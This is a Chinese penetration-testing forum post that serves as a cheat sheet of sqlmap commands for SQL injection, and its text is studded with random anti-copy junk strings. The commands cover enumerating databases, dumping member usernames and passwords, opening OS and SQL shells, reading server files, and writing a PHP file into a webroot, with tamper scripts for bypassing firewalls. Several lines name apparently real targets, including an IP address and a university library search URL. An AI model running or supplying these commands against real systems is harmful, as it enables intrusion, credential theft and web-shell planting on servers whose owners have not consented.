中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
4 }0 j( u- ]* ]; C4 A& Q' C; V
1 C9 A5 V" k' L8 yupdate :::::>     in the folder   after  execute    following   order : svn update' ], n9 E7 P$ B, T
: E+ F0 r: a+ T; s' d
sqlmap.py -r 1.txt --current-db' H9 \; p+ V, S3 \

/ U3 j# [& d% u5 d4 s% Iv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”( O" p) ~' c5 q9 W

  h/ Q1 O# @* {% R==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
% R# e; h, [& p$ g' T3 o! J* f猜解数据库6 t; B9 x; P+ \- u- M: \
./sqlmap.py -u "injection-url" --dbs
( a5 I/ W. J) |4 B0 ysqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"  T3 |' j6 M4 V4 Q# S5 v& B6 v9 G

: P+ d  o8 z4 y/ `- s猜解表名
6 x  t- l  H) L$ V./sqlmap.py -u "injection-url" -D database_name --tables/ t# h1 J% Q: a2 J2 [4 Q) T" F/ r5 O
  R6 h$ T" @/ R+ ]' L" x9 f
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"% _& z- i5 [2 g+ @8 V& E6 g
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
1 w5 L  V) P: B- b! x% J2 _4 b, N/ s- d3 L* @4 s! ~
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 n0 c4 r" [6 [$ R/ o3 s( R  _: }
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"6 y# l* g* g: S$ p3 T
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"3 K$ x0 w/ ?* g$ A% _
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
' L, X% }) M' h# F) D6 ysqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"+ ]+ ^) a( ^/ l
2 n4 `  |5 ~9 \5 F' J3 t
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py". i2 r! M- y6 }' G: Q
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"/ _1 v* ]& @, A" h) M
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
+ m0 V$ ~$ K: A* l8 nsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
( T/ _$ p( b; Y; C" Dsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
6 S0 I) `! F8 E' \6 ?( T0 ^- \  M8 n" a' m; h2 _
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
$ H2 {9 H* _% ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"' e! L% c; k+ L0 O. H

. g$ Q" L5 Z/ V7 t' ]4 gsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"2 D, B- {# o9 d
猜解列名
8 |1 |2 U$ J" ~./sqlmap.py -u "injection-url" -D database_name -T table_name --columns1 N& s" D8 @0 H' b  v9 ^9 J' {

4 }5 m6 f) r% y2 }sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
$ F) l4 j9 i1 b& V8 v3 `# `& V4 S( o7 Gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
2 Y7 R- B; o# ]" e) p) k9 O$ ksqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"5 Z" m: C2 q, M
5 h# E' }% F; j. w( i  g+ ~
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
7 t! S* A2 n. C. |&submit=Go
5 C! t, J2 d4 n/ G1 ^猜解值
% l! ]% u; {& [- F. R7 y' E# E./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
; K2 `# I1 m9 I3 `  `/ L1 Q========================================================
- p) K3 n: V3 F# \% L搜索表名中包括mana字符的6 K8 R/ L% n9 T8 d- }
/sqlmap.py -u "injection-url" -T mana --search) E2 g6 e& C7 e. {; [
返回一个交互式sql shell
. v2 C: i/ g& h. l# L/sqlmap.py -u "injection-url" --sql-shell; `9 X) L4 }& C/ ^' a* D
读取指定文件(需权限)
5 c* U) M* Y% g3 O! @+ }/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
5 F' b  l3 C* Q# \2 r) \查看当前 用户 及 数据库 ' p4 G1 H! x1 {6 b
/sqlmap.py -u "injection-url" --current-user --current-db
" ~8 h* u; q3 o$ S9 ^& N( {. T6 U本地文件 写入 远程目标绝对路径- k! c: ?3 a+ O
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径5 _' J9 N& j7 Z  G9 y' ^1 g2 q) w& Q
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" + r/ E4 r7 m$ S5 {
/ h8 J/ V% c  [6 n' ]; r8 F
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径/ f7 L% w6 Y; ?, ?/ ?
查看某用的权限1 G/ n; y0 _; |; W
/sqlmap.py -u "injection-url" --privileges -U root
% P- h$ }) u( v查看当前用户是否为dba
7 J5 ?. l' U- w0 m0 A8 u! G* B7 d/sqlmap.py -u "injection-url" --is-dba6 o# D; s, ]" ?4 W; s1 q$ u
读取所有数据库用户或指定数据库用户的密码- D! I9 z8 u- K) C" X
sqlmap.py -r 1.txt --users --passwords
* A. u( [" d5 f/ [* b+ n6 U3 Qsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"   q3 Z5 _  |3 U

' d0 w) \& Q6 x7 m/sqlmap.py -u "injection-url" --passwords -U root. ?3 w  o' y; {+ |  |
0 }1 y( }/ _0 L$ Q
--start&&--stop 与 --first&&--last 的区别+ K! Y. R) B3 M* \, X1 z
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)2 V- s4 r" i. y1 K5 |

5 {1 R0 H0 q3 s2 x, I# A从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
5 i# R: d" t; h. H: j: U4 [/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
3 P2 K3 t) f/ z+ Z/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns+ {) L: Y- e- F" G5 {

; H  [% ~% p8 y; m3 C执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)% J' S0 A# ~6 A5 D- X1 V. L- q6 B
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip") ]' E' l; f; A, i( t. f, P

5 X  w2 T3 ^1 o& @  m+ n# o, `+ e




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2